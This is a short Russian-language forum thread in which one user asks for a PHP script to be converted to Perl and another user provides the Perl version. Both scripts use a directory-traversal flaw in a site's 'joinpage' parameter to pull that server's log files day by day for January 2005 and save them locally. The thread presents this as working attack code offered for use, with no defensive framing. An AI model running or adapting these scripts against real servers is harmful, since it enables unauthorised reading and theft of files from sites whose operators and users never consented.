php 2 perl [need help]

[guest3297]

так как перл я вообще не знаю помогите итерпритировать исходник под perl.

<?
$url = "https://sie.com/index.php?s=test&pg=222&joinpage=../../../../../www/logs/";
$folder = "files";

set_time_limit(0);
for ($date=20050101;$date<20050131;$date++){
$file = @file_get_contents($url."ts_cascade_log.".$date);
if (strlen($file)>1){
$file_write = fopen($folder."/ts_cascade_log.".$date, "w");
fwrite($file_write, $file);
fclose($file_write);
echo "log.$date finish!/n/n, ";
flush();
}

}
?>

Спасибо.

[Digimortal]

примерно так:
#!/usr/bin/perl -w

use LWP::Simple;

my $url='https://sie.com/index.php?s=test&pg=222&joinpage=../../../../../www/logs/';

for (20050101..20050131) {
my $cont=get $url."ts_cascade_log.".$_;
if ($cont){
open my $file, ">ts_cascade_log.$_";
print $file $cont ;
close $file;
print "ts_cascade_log.$_ finished\n";}}
понадобится модуль Crypt::SSLeay, чтоб работало при ssl..